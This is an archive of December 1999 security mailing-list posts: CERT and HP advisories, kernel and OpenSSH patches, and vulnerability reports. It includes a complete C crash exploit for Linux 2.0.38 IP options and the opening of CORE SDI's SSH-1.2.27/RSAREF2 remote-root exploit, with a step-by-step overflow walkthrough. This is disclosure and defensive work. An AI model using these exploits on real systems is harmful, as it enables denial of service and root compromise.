CERT Advisory CA-99-16 Buffer Overflow in Sun Solstice AdminSuite Daemon sadmind
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 CERT Advisory CA-99-16 Buffer Overflow in Sun Solstice AdminSuite Daemon sadmind Original release date: December 14, 1999 Last revised: -- Source: CERT/CC A complete revision history is at the end of this file. Systems Affected * Systems that have sadmind installed I. Description The sadmind program is installed by default in Solaris 2.5, 2.6, and 7. In Solaris 2.3 and 2.4, sadmind may be installed if the Sun Solstice Adminsuite packages are installed. The sadmind program is installed in /usr/sbin. It can be used to coordinate distributed system administration operations remotely. The sadmind daemon is started automatically by the inetd daemon whenever a request to perform a system administration operation is received. All versions of sadmind are vulnerable to a buffer overflow that can overwrite the stack pointer within a running sadmind process. Since sadmind is installed as root, it is possible to execute arbitrary code with root privileges on a remote machine. This vulnerability has been discussed in public security forums and is actively being exploited by intruders. II. Impact A remote user may be able to execute arbitrary code with root privileges on systems running vulnerable versions of sadmind. III. Solution Disable sadmind Remove (or comment) the following line in /etc/inetd.conf: 100232/10 tli rpc/udp wait root /usr/sbin/sadmind sadmind Even though it will not defend against the attack discussed in this advisory, it is a good practice to set the security option used to authenticate requests to a STRONG level, for example: 100232/10 tli rpc/udp wait root /usr/sbin/sadmind sadmind -S 2 If you must use sadmind to perform system administration tasks, we urge you to use this setting. Appendix A contains information provided by vendors for this advisory. We will update the appendix as we receive or develop more information. If you do not see your vendor's name in Appendix A, the CERT/CC did not hear from that vendor. Please contact your vendor directly. Appendix A. Vendor Information Sun Microsystems Sun Microsystems is currently working on patches to address the issue discussed in this advisory and recommends disabling sadmind. _ The CERT Coordination Center thanks Sun Microsystems for its help in providing information for this advisory. __ This document is available from: http://www.cert.org/advisories/CA-99-16-sadmind.html __ CERT/CC Contact Information Email: [EMAIL PROTECTED] Phone: +1 412-268-7090 (24-hour hotline) Fax: +1 412-268-6989 Postal address: CERT Coordination Center Software Engineering Institute Carnegie Mellon University Pittsburgh PA 15213-3890 U.S.A. CERT personnel answer the hotline 08:00-20:00 EST(GMT-5) / EDT(GMT-4) Monday through Friday; they are on call for emergencies during other hours, on U.S. holidays, and on weekends. Using encryption We strongly urge you to encrypt sensitive information sent by email. Our public PGP key is available from http://www.cert.org/CERT_PGP.key If you prefer to use DES, please call the CERT hotline for more information. Getting security information CERT publications and other security information are available from our web site http://www.cert.org/ To be added to our mailing list for advisories and bulletins, send email to [EMAIL PROTECTED] and include SUBSCRIBE your-email-address in the subject of your message. Copyright 1999 Carnegie Mellon University. Conditions for use, disclaimers, and sponsorship information can be found in http://www.cert.org/legal_stuff.html * "CERT" and "CERT Coordination Center" are registered in the U.S. Patent and Trademark Office. __ NO WARRANTY Any material furnished by Carnegie Mellon University and the Software Engineering Institute is furnished on an "as is" basis. Carnegie Mellon University makes no warranties of any kind, either expressed or implied as to any matter including, but not limited to, warranty of fitness for a particular purpose or merchantability, exclusivity or results obtained from use of the material. Carnegie Mellon University does not make any warranty of any kind with respect to freedom from patent, trademark, or copyright infringement. _ Revision History December 14, 1999: Initial release -BEGIN PGP SIGNATURE- Version: PGP for Personal Privacy 5.0 Charset: noconv iQ
Re: Local / Remote D.o.S Attack in War FTP Daemon 1.70 Vulnerability
Ussr Labs wrote: > > Local / Remote D.o.S Attack in War FTP Daemon 1.70 Vulnerability I am personnaly not able to reproduce this on my computer. I was using the program on the same computer that war-ftpd is. It's a Pentium 200 with win95b, no firewalls, nothing special. My cable-modem connection was down during the use of the program, but this is because I was flooding myself. After a minute or two, I closed the program and my connection was back and War FTP was ok. Thank You -- [Malartre][[EMAIL PROTECTED]]
Re: Local / Remote D.o.S Attack in War FTP Daemon 1.70 Vulnerability
Strange, no body report this problem only you :(, the war ftp deamnon stop responding wen reseive lots of incomming connections, the porgram no CRASH just only stop responding. u n d e r g r o u n d s e c u r i t y s y s t e m s r e s e a r c h http://www.ussrback.com -Original Message- From: Malartre [mailto:[EMAIL PROTECTED]] Sent: Tuesday, December 14, 1999 8:46 PM To: Ussr Labs Cc: [EMAIL PROTECTED] Subject: Re: Local / Remote D.o.S Attack in War FTP Daemon 1.70 Vulnerability Ussr Labs wrote: > > Local / Remote D.o.S Attack in War FTP Daemon 1.70 Vulnerability I am personnaly not able to reproduce this on my computer. I was using the program on the same computer that war-ftpd is. It's a Pentium 200 with win95b, no firewalls, nothing special. My cable-modem connection was down during the use of the program, but this is because I was flooding myself. After a minute or two, I closed the program and my connection was back and War FTP was ok. Thank You -- [Malartre][[EMAIL PROTECTED]]
Re: Big problem on linux 2.0
On Sat, 11 Dec 1999, visi0n wrote: > In my last mail I'd posted a patch for kernel 2.0.38, that was >made against a modified socket.c you need this one for the original kernel >(2.0.38). Sorry... > >@@ -966,8 +966,9 @@ >struct msghdr msg; >struct iovec iov; > >- if(len<0) >+ if(len < 0 || len >= 65468) >return -EINVAL; >+ >err=verify_area(VERIFY_READ,buff,len); >if(err) >return err; The above patch doesn't fix the bug, because you can still use the other kernel entry points send/sendmsg to feed a big payload ip_build_xmit. Also note that you don't need to restrict to 65467 bytes the max size of a packet when the ip options are < 40 bytes. Andrea
[patch] Re: Big problem on 2.0.x?
On Mon, 13 Dec 1999, Jason Mills wrote:
>heres a simple patch for the -s stuff just using the same method as with
>-l :)
Unfortunately fixing ping won't help because you can exploit it using UDP
too :(. BTW, the ping in 6.2 forbid me to use a size of the packet >=
65468 even as root. So I had to hack and recompile ping to reproduce.
Actually the bug is that the IP layer is checking that the iphdr+payload
is < 0x but it's _not_ checking that iphdr+optsize+payload is <
0x. So as far as there are no additional ip options in the packets all
is fine.
This is my fix against 2.0.38:
diff -urN 2.0.38/net/ipv4/ip_output.c 2.0.38-ping-R/net/ipv4/ip_output.c
--- 2.0.38/net/ipv4/ip_output.c Thu Jun 18 23:48:22 1998
+++ 2.0.38-ping-R/net/ipv4/ip_output.c Tue Dec 14 23:02:43 1999
@@ -703,7 +703,13 @@
if (!sk->ip_hdrincl) {
length += sizeof(struct iphdr);
- if(opt) length += opt->optlen;
+ if(opt)
+ {
+ /* make sure to not exceed the max packet size */
+ if (0x-length < opt->optlen)
+ return -EMSGSIZE;
+ length += opt->optlen;
+ }
}
if(length <= dev->mtu && !MULTICAST(daddr) && daddr!=0x &&
daddr!=dev->pa_brdaddr)
Downloadable also from:
ftp://ftp.*.kernel.org/pub/linux/kernel/people/andrea/patches/v2.0/2.0.38/ip-opt-1.gz
And this is my exploit I wrote to check the fix:
/* Exploit option length missing checks in Linux-2.0.38
Andrea Arcangeli <[EMAIL PROTECTED]> */
#include
#include
#include
#include
main()
{
int sk;
struct sockaddr_in sin;
struct hostent * hostent;
#define PAYLOAD_SIZE (0x-sizeof(struct udphdr)-sizeof(struct iphdr))
#define OPT_SIZE 1
char payload[PAYLOAD_SIZE];
sk = socket(AF_INET, SOCK_DGRAM, 0);
if (sk < 0)
perror("socket"), exit(1);
if (setsockopt(sk, SOL_IP, IP_OPTIONS, payload, OPT_SIZE) < 0)
perror("setsockopt"), exit(1);
bzero((char *)&sin, sizeof(sin));
sin.sin_port = htons(0);
sin.sin_family = AF_INET;
sin.sin_addr.s_addr = htonl(2130706433);
if (connect(sk, (struct sockaddr *) &sin, sizeof(sin)) < 0)
perror("connect"), exit(1);
if (write(sk, payload, PAYLOAD_SIZE) < 0)
perror("write"), exit(1);
}
Andrea
Re: sshd1 allows unencrypted sessions regardless of server policy
Hi! > Because passphrase-less hostkeys are 'encrypted' with cipher "none" > the code for this cipher is always compiled into the programs. This > way the client is free to choose "none" and no server will complain. And what? Malicious ssh client can make non-encrypted connection. But malicious ssh client can also send carbon-copy of all communication to www.cia.org:5000! There's no way to protect from malicious ssh clients... > The current version OpenSSH-1.2.1 is not vulnerable. The obvious ...and I don't see why this is called vulnerability. Pavel -- I'm [EMAIL PROTECTED] "In my country we have almost anarchy and I don't care." Panos Katsaloulis describing me w.r.t. patents me at [EMAIL PROTECTED]
SSH-1.2.27 & RSAREF2 exploit
Ok, here is the exploit for SSH-1.2.27 compiled with RSAREF2.
It was tested against sshd running on Linux (Redhat 6.0) and OpenBSD
2.6,
from a Linux Redhat 6.0 box.
Since its a modified ssh client, i will just send the diffs against an
unpatched ssh-1.2.27
distribution. and i'll try to explain what it does.
Description
As noted in the advisories (
http://www.core-sdi.com/advisories/buffer%20overflow%20ing.htm
and http://www.cert.org/advisories/CA-99-15-RSAREF2.html) there are TWO
buffer overflows.
The first is in the SSH distributed file rsaglue.c the second is in the
rsa.c file that is part of
the RSAREF2 distribution.
Lets look at the buffer overflow in RSAPrivateDecrypt in rsa.c from
rsaref2/sources:
/*
* RSA private-key decryption, according to PKCS #1.
*/
int RSAPrivateDecrypt (output, outputLen, input, inputLen, privateKey)
unsigned char *output; /* output
block */
unsigned int *outputLen; /* length of output
block */
unsigned char *input;/* input
block */
unsigned int inputLen; /* length of input
block */
R_RSA_PRIVATE_KEY *privateKey; /* RSA private
key */
{
int status;
unsigned char pkcsBlock[MAX_RSA_MODULUS_LEN];
unsigned int i, modulusLen, pkcsBlockLen;
modulusLen = (privateKey->bits + 7) / 8;
if (inputLen > modulusLen)
return (RE_LEN);
.if (status = RSAPrivateBlock
(pkcsBlock, &pkcsBlockLen, input, inputLen, privateKey))
...
There is a straight forward buffer overflow of pkcsBlock in
RSAPrivateBlock, however, in
order to exploit it we need to pass the (inputLen > modulusLen) check.
Since input is the length of the evil packet sent by the client
containing the shell code
and of course enough data to exploit the overflow, its length is greater
than the modulusLen of a standard
RSA key, thus the check fails.
We need then to provide our own privateKey with a large enough
modulusLen (privateKey->bits)
To do so, we exploit the buffer overflow in rsaglue.c:
* Performs a private key decrypt operation. */
void rsa_private_decrypt(MP_INT *output, MP_INT *input, RSAPrivateKey
*key)
{
unsigned char input_data[MAX_RSA_MODULUS_LEN];
unsigned char output_data[MAX_RSA_MODULUS_LEN];
unsigned int input_len, output_len, input_bits;
R_RSA_PRIVATE_KEY private_key;
if (key->bits > MAX_RSA_MODULUS_BITS)
fatal("RSA key has too many bits for RSAREF to handle (max %d).",
MAX_RSA_MODULUS_BITS);
input_bits = mpz_sizeinbase(input, 2);
input_len = (input_bits + 7) / 8;
gmp_to_rsaref(input_data, input_len, input);
rsaref_private_key(&private_key, key);
if (RSAPrivateDecrypt(output_data, &output_len, input_data, input_len,
&private_key) != 0)
fatal("RSAPrivateDecrypt failed");
The overflow here is in gmp_to_rsaref(), we use it to modify the *key
variable
(an argument present in the stack on intel architectures, this is
important since it
wont be the same in other architectures, i.e. sparc) to point to a
private
key that we send. rsaref_private_key() copies that key to private_key
and then
calls RSAPrivateDecrypt with our bogus key, the second overflow
(rsaref2's)
is then exploited.
There are several other constraints (check rsa.c:RSAPrivateBlock() and
nn.c:NN_Encode() in rsaref2/sources if you are really interested)
that forced us to send a bogus private key in a different packet,
this packet gets stored in a global buffer that sshd uses to receive
data from
the network.
The overall result is that RSAPrivateBlock() called from
RSAPrivateDecrypt()
returns to the portion of the global buffer that sshd uses to store our
packet,
the shell code is stored there.
The bogus privateKey we send is generated with ssh-keygen, then at
runtime,
its loaded and several values are modified ( once again, for the really
interested
check that we set among other things myfakeKey.bits to 1182 and
myfakeKey.d
to 1).
The exploit is more or less "script-kid-proof" since if it doesnt work a
bit of
debugging, coding and probably crypto skills are needed to make it work.
Diff against ssh-1.2.27
diff -N -c ssh-1.2.27/README.coresdi ssh-1.2.27-exploit/README.coresdi
*** ssh-1.2.27/README.coresdi Wed Dec 31 21:00:00 1969
--- ssh-1.2.27-exploit/README.coresdi Tue Dec 14 19:21:10 1999
***
*** 0
--- 1,32
+ /*
+ *
+ * Descrition: Exploit code for SSH-1.2.27 sshd with rsaref2 compiled
in
+ * (--with-rsaref)
+ *
+ * Author: Alberto Solino <[EMAIL PROTECTED]>
+ *
+ * Copyright (c) 1999 CORE SDI S.A., Buenos Aires, Argentina.
+ * All rights reserved.
+ *
+ *
+ * THIS SOFTWARE IS PROVIDED ``AS IS'' AND ANY EXPRESS OR IMPLIED
WARRANTIES
+ * ARE DISCLAIMED. IN NO EVENT SHALL CORE SDI S.A. BE LIABLE FOR ANY
DIRECT,
+ * INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY OR CONSEQUENTIAL DAMAGES
RESULTING
+ * FROM THE USE OR MISUSE OF THIS SOFTWARE.
+ *
+
Re: sshd1 allows unencrypted sessions regardless of server policy
One nit in what was a good analysis over-all... On Tue, Dec 14, 1999 at 04:43:32PM +0100, Markus Friedl wrote: > [I am posting this here since nobody seems to take care of ssh-1.2.27] I would like to bite on that line, but I think I'll be a good boy today... [...] > Because passphrase-less hostkeys are 'encrypted' with cipher "none" > the code for this cipher is always compiled into the programs. This > way the client is free to choose "none" and no server will complain. AFAIK... The passpharse-less host keys are encrypted with 3-DES and no password. They were, at one time, encrypted with IDEA with no password. This is according to the documentation (specifically some remarks Tatu made in the Changes file). As you discovered with this hole, reality may differ from documentation space. I know about this because I ran smack into a compatibility problem upgrading a number of my older hosts to use OpenSSH. If the host key was generated with an old enough version of SSH (around 1.2.8 or so), the host key was encrypted with IDEA, which OpenSSH does not support. That meant that just after upgrading to OpenSSH, you're toast because the daemon can not read the host key (error is "unsupported encryption algorithm"). The solution is to run "ssh-keygen -u /etc/ssh_host_key" (modify for your host key location), using the ssh-keygen program from ssh-1.2.27, prior to the ugrade (the OpenSSH keygen program can't read the old key either and doesn't support the -u option). According to the ssh docs, that re-encrypts the host key in the default algorithm (3-DES in the case of 1.2.27). No harm is done by running "ssh-keygen -u" on a newer key. So... You say the host key is not encrypted. The documentation says that it's encrypted 3-DES with no passphrase. I know that older host keys were encrypted with an algorithm which OpenSSH can not read (and identifies it by number as IDEA). I also know that running ssh-keygen on the host key corrects the incompatibility. It could be that the new host key is encrypted with 3-DES and no password as stated in the docs or it could be that it's encrypted with NONE. Both would account for the behavior I've seen. Since you've already discovered one discrepancy, a second one is not that unlikely... Like I said... Just a nit... Mike -- Michael H. Warfield| (770) 985-6132 | [EMAIL PROTECTED] (The Mad Wizard) | (770) 331-2437 | http://www.wittsend.com/mhw/ NIC whois: MHW9 | An optimist believes we live in the best of all PGP Key: 0xDF1DD471| possible worlds. A pessimist is sure of it!
CERT Advisory CA-99.15 - Buffer Overflows in SSH Daemon and RSAREF2 Library
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 CERT Advisory CA-99-15 Buffer Overflows in SSH Daemon and RSAREF2 Library Original release date: December 13, 1999 Last revised: -- Source: CERT/CC A complete revision history is at the end of this file. Systems Affected * Systems running some versions of sshd * Systems using products that use RSAREF2 (e.g., some SSL-enabled web servers) I. Description Some versions of sshd are vulnerable to a buffer overflow that can allow an intruder to influence certain variables internal to the program. This vulnerability alone does not allow an intruder to execute code. However, a vulnerability in RSAREF2, which was discovered and researched by Core SDI, can be used in conjunction with the vulnerability in sshd to allow a remote intruder to execute arbitrary code. Additional information about the RSAREF2 vulnerability can be found at http://www.core-sdi.com/advisories/buffer%20overflow%20ing.htm The RSAREF2 library was developed from a different code base than other implementations of the RSA algorithm, including those from RSA Security Inc. The vulnerability described in this advisory is specific to the RSAREF2 library and does not imply any weakness in other implementations of the RSA algorithm or the algorithm itself. Also, only versions of SSH compiled with RSAREF support, via the --with-rsaref option, are vulnerable to these issues. The use of the RSAREF2 library in other products may present additional vulnerabilities. RSAREF2 may be used in products such as SSL-enabled web servers, ssh clients, or other cryptographically enhanced products. Appendix A of this advisory will be updated with new information as it becomes available regarding problems in other products that use the RSAREF2 library. II. Impact Using the two vulnerabilities in conjunction allows an intruder to execute arbitrary code with the privileges of the process running sshd, typically root. We are investigating whether vulnerabilities in other products may expose the vulnerability in RSAREF2, and will update this advisory as appropriate. See Appendices A and B for more information that may affect the impact of this vulnerability. III. Solution Apply patch(es) from your product vendor Apply patch(es) to the RSAREF2 library. RSA Security Inc. holds a patent on the RSA algorithm and a copyright on the RSAREF2 implementation. We encourage you to consult your legal counsel regarding the legality of any fixes you are considering before implementing those fixes. Please see RSA's vendor statement in Appendix A. Exploiting the vulnerability in RSAREF2 requires an application program to call the RSAREF2 library with malicious input. For products that allow an intruder to influence the data provided to the RSAREF2 library, you may be able to protect against attacks by validating the data they provide to RSAREF2. Appendix A contains information provided by vendors for this advisory. Appendix B contains information regarding test performed by the CERT Coordination Center and other people, and advice based on those tests. We will update the appendices as we receive or develop more information. If you do not see your vendor's name in Appendix A, the CERT/CC did not hear from that vendor. Please contact your vendor directly. Use a non-vulnerable implementation of the RSA algorithm Sites not restricted by patent law may choose to use a non-vulnerable implementation of RSA. Since RSA Security Inc. holds a patent on the RSA algorithm, this option may not be legally available to you. Please consult your legal counsel for guidance on this issue. Appendix A. Vendor Information Compaq Computer Corporation (c) Copyright 1998, 1999 Compaq Computer Corporation. All rights reserved. SOURCE: Compaq Computer Corporation Compaq Services Software Security Response Team USA Compaq's Tru64 UNIX is not vulnerable. Compaq does not ship ssl Covalent Technologies Covalent Raven SSL module for Apache The Raven SSL module is not vulnerable to this attack since the SSL library used does not use the RSAREF library. Data Fellows Inc. F-Secure SSH versions prior 1.3.7 are vulnerable but F-Secure SSH 2.x and above are not. FreeBSD FreeBSD 3.3R and prior releases contain packages with this problem. This problem was corrected December 2, 1999 in the ports tree. Packages built after this date with the rsaref updated should be unaffected by this vulnerabilities. Some or all of the following ports may be affected should be rebuilt: p5-Penguin, p5-Penguin-Easy, jp-pgp, ja-w3m-ssl, ko-pgp, pgpsendmail, pine4-ssl, premail, ParMetis, SSLtelnet, mpich, pipsecd, tund, nntpcache, p5-Gateway, p5-News-Article, ru-pgp, bjorb, keynote,
Re: Big problem on 2.0.x?
heres a simple patch for the -s stuff just using the same method as with
-l :)
--- netkit-base-0.10/ping/ping.c.orig Mon Dec 13 15:33:56 1999
+++ netkit-base-0.10/ping/ping.cMon Dec 13 15:34:15 1999
@@ -302,6 +302,11 @@
options |= F_SO_DONTROUTE;
break;
case 's': /* size of packet to send */
+ if (!am_i_root) {
+ (void)fprintf(stderr,
+ "ping: %s\n", strerror(EPERM));
+ exit(2);
+ }
datalen = atoi(optarg);
if (datalen > MAXPACKET) {
(void)fprintf(stderr,
-
On Sat, 11 Dec 1999, Stephen White wrote:
> Mike Ireton wrote:
> > > i found that when u do a ping -s 65468 -R ANYIPADDRESS ( -R record
> > > route) the system starts to print on the screen kernel dumps
> > > , freezes complitely and after few secconds the system reboots.
>
> This can be 'fixed' (okay kludged around) by altering the
>
> #define MAXPACKET (65536 - 60 - 8)/* max packet size */
>
> line in ping.c
>
> I've reduced it to 32K (32768) on my Linux 2.0.36 box, since that should
> avoid all possible problems (air on the side of caution and all that). I
> don't see users having any reason to need such large ping packets anyway
> (other than for the purpose of local or remote exploits).
>
> For those using RedHat 5.2 I've made an SRPM and .i368 RPM containing my
> new ping and they are avaiable via annon. ftp at
>
> ftp://ox.compsoc.net/users/swhite/ping/
>
> You'll need to install with --force since the package reports the same
> version as the normal redhat5.2 one so RPM thinks it's already
> installed.
>
> It has also been suggested that ping could be patched to make '-s' only
> available to root (like '-l' is), as an alternative solution. I haven't
> tried this but it should be a fairly simple modification.
>
> Neither of these address the real problem in the kernel, but they do
> mean that sysadmins can go on allowing users to run ping without the
> worry of quite such a trivial DoS.
>
> The same problem does not appear to occur in Linux 2.2, Windows 95 or
> Solaris 2.7.
>
> --
> Stephen White OU Compsoc System Administration Team
> <[EMAIL PROTECTED]>http://www.ox.compsoc.net/~swhite/
>
sshd1 allows unencrypted sessions regardless of server policy
[I am posting this here since nobody seems to take care of ssh-1.2.27]
While working on OpenSSH I discovered the following defect in
ssh-1.2.27, OpenSSH and other related implementations of SSH1:
A malicious ssh-client can force a server to use the so
called cipher "none" even if the server-policy does not
permit this.
In the SSH1 protocol, during connection setup, the server sends a
list of supported ciphers to the client. This list represents the
server policy and includes the ciphers the server is going to accept.
Usually the client chooses one cipher from this list and sends its
choice back to the server.
However, in all these implementations, the server does _not_ check
whether the cipher chosen by the client is included in the list of
previously offered ciphers.
According to README.CIPHERS from recent ssh-1.2.2x releases login
sessions 'encrypted' with cipher "none" are disabled by default:
"This cipher is intended only for testing, and should not
be enabled for normal use. Using no encryption makes SSH
vulnerable to network-level attacks (such as connection
hijacking). There are also more subtle ways to exploit
using no encryption, and servers should not allow such
connections at all except when testing the protocol.
[...]
You can allow "none" encryption by giving the --with-none
option to configure. Using no encryption is not allowed by
default.
This is wrong.
Because passphrase-less hostkeys are 'encrypted' with cipher "none"
the code for this cipher is always compiled into the programs. This
way the client is free to choose "none" and no server will complain.
The current version OpenSSH-1.2.1 is not vulnerable. The obvious
fix can be found below. A patch for the versions of OpenSSH shipped
with OpenBSD-2.6 is available from
http://www.openbsd.org/errata.html#sshjumbo
Information on OpenSSH can be found at http://www.openssh.com/
Index: sshd.c
===
--- sshd.c 1999/12/06 20:15:30 1.68
+++ sshd.c 1999/12/07 13:38:05
@@ -869,8 +869,11 @@
/* Read clients reply (cipher type and session key). */
packet_read_expect(&plen, SSH_CMSG_SESSION_KEY);
- /* Get cipher type. */
+ /* Get cipher type and check whether we accept this. */
cipher_type = packet_get_char();
+
+if (!(cipher_mask() & (1 << cipher_type)))
+ packet_disconnect("Warning: client selects unsupported cipher.");
/* Get check bytes from the packet. These must match those we
sent earlier with the public key packet. */
Local / Remote D.o.S Attack in War FTP Daemon 1.70 Vulnerability
Local / Remote D.o.S Attack in War FTP Daemon 1.70 Vulnerability PROBLEM UssrLabs found a Local/Remote DoS Attack in War FTP Daemon 1.70 the buffer overflow is caused by a Multiples connections at the same time (over 60) in the ftp server , and some characters in the login name. There is not much to expand on just a simple hole For the source / binary of this remote / local D.O.S Go to: http://www.ussrback.com/ Vendor Status: Contacted. Vendor Url: http://www.jgaa.com Program Url: http://www.jgaa.com/warftpd.htm Credit: USSRLABS SOLUTION Nothing yet. u n d e r g r o u n d s e c u r i t y s y s t e m s r e s e a r c h http://www.ussrback.com
Security Vulnerability in VVOS TGP
HP Support Information Digests === o HP Electronic Support Center World Wide Web Service --- If you subscribed through the HP Electronic Support Center and would like to be REMOVED from this mailing list, access the HP Electronic Support Center on the World Wide Web at: http://us-support.external.hp.com Login using your HP Electronic Support Center User ID and Password. Then select Support Information Digests. You may then unsubscribe from the appropriate digest. === Digest Name: Daily Security Bulletins Digest Created: Tue Dec 14 3:00:06 PST 1999 Table of Contents: Document ID Title --- --- HPSBUX9912-107 Security Vulnerability in VVOS TGP The documents are listed below. --- Document ID: HPSBUX9912-107 Date Loaded: 19991213 Title: Security Vulnerability in VVOS TGP - HEWLETT-PACKARD COMPANY SECURITY ADVISORY: #000107 14 Dec. 1999 - The information in the following Security Bulletin should be acted upon as soon as possible. Hewlett-Packard Company will not be liable for any consequences to any customer resulting from customer's failure to fully implement instructions in this Security Bulletin as soon as possible. - PROBLEM: Programs running on the VirtualVault may be proxied by the Trusted Gateway Proxy (TGP) without having proper access. PLATFORM: HP9000 Series 7/800 running HP-UX 10.24 (VVOS) with VirtualVault A.03.50 (either US/Canada or International), _ONLY_ with patch PHSS_17692 installed. DAMAGE: Unprivileged processes may gain access to the INSIDE network. SOLUTION: Apply the patch noted below. AVAILABILITY: The patch is currently available. - I. A. Background VirtualVault A.03.50 patch PHSS_17692 introduced a vulnerability in the Trusted Gateway Proxy (TGP) that could allow programs to be proxied by the TGP without having proper access. B. Fixing the problem This problem can be eliminated by installing the following patch, which supersedes the original PHSS_17692. Hewlett-Packard recommends that the following patch be loaded as applicable for HP-UX 10.24 (VVOS): with VirtualVault A.03.50 (International): PHSS_20476 with VirtualVault A.03.50 (US/Canada): PHSS_20476 C. To subscribe to automatically receive future NEW HP Security Bulletins from the HP IT Resource Center via electronic mail, do the following: Use your browser to get to the HP IT Resource Center page at: http://us-support.external.hp.com (for US, Canada, Asia-Pacific, & Latin-America) http://europe-support.external.hp.com (for Europe) Under the Maintenance and Support Menu (Electronic Support Center): click on the "more..." link. Then - To -subscribe- to future HP Security Bulletins, or To -review- bulletins already released click on "Support Information Digests" near the bottom of the page, under "Notifications". Login with your user ID and password (or register for one). (Remember to save the User ID assigned to you, and your password). On the "Support Information Digest Main" page: click on the "HP Security Bulletin Archive". Once in the archive the third link is to our current Security Patch Matrix. Updated daily, this matrix categorizes security patches by platform/OS release, and by bulletin topic. The security patch matrix is also available via anonymous ftp: us-ffs.external.hp.com ~ftp/export/patches/hp-ux_patch_matrix D. To report new security vulnerabilities, send email to [EMAIL PROTECTED] Please encrypt any exploit information using the security-alert PGP key, available from your local key server, or by sending a message with a -subject- (not body) of 'get key' (no quotes) to [EMAIL PROTECTED] Permission is granted for copying and circulating this advisory to Hewlett-Packard (HP) customers (or the Internet community) for the purpose of alerting them to problems, if and only if, the advisory is not edited or changed in any way, is attributed to HP, and provided such reproduction and/or distribution is performed for non-commercial purposes. Any other use of this information is prohibited. HP is
Privacy hole in Go Express Search
-- Forwarded message -- Date: 13 Dec 1999 03:23:39 - From: [EMAIL PROTECTED] To: [EMAIL PROTECTED] Subject: Link Suggestion Link Name: Privacy hole in Go Express Search Link URL: http://www.mobileunit.org/advisories/001/ Description: Disney's Go Express Search operates an http server at port 1234 without authentication. Remote users can submit search queries, and view queries and personal links left by other users. It's possible to access the configuration interface, which can reveal the e-mail address of the user who registered it. Configuration settings can be changed remotely to, for instance, add, remove or alter personal links.
Re: ssh-1.2.27 exploit
Jarek Kutylowski wrote: > I have now worked on the ssh-1.2.27 rsaref buffer overflow and consider > ssh now as quite immune. It is of course possible to crash sshd, but > a real attack is, in my opinion, impossible. > [...deletia...] We have a working exploit against Linux and OpenBSD, we are waiting for CERT to publish their advisory. As soon as that happens, or before if its taking too long, we'll publish the exploit. Since the problem is not being actively exploited (as far as we know), there didnt seem to be a reason to post the exploit code with our advisory. -ivan -- "Understanding. A cerebral secretion that enables one having it to know a house from a horse by the roof on the house, It's nature and laws have been exhaustively expounded by Locke, who rode a house, and Kant, who lived in a horse." - Ambrose Bierce ==[ CORE Seguridad de la Informacion S.A. ]= Iván Arce Presidente PGP Fingerprint: C7A8 ED85 8D7B 9ADC 6836 B25D 207B E78E 2AD1 F65A email : [EMAIL PROTECTED] http://www.core-sdi.com Pte. Juan D. Peron 315 Piso 4 UF 17 1038 Capital Federal Buenos Aires, Argentina. Tel/Fax : +(54-11) 4331-5402 Casilla de Correos 877 (1000) Correo Central = --- For a personal reply use [EMAIL PROTECTED]
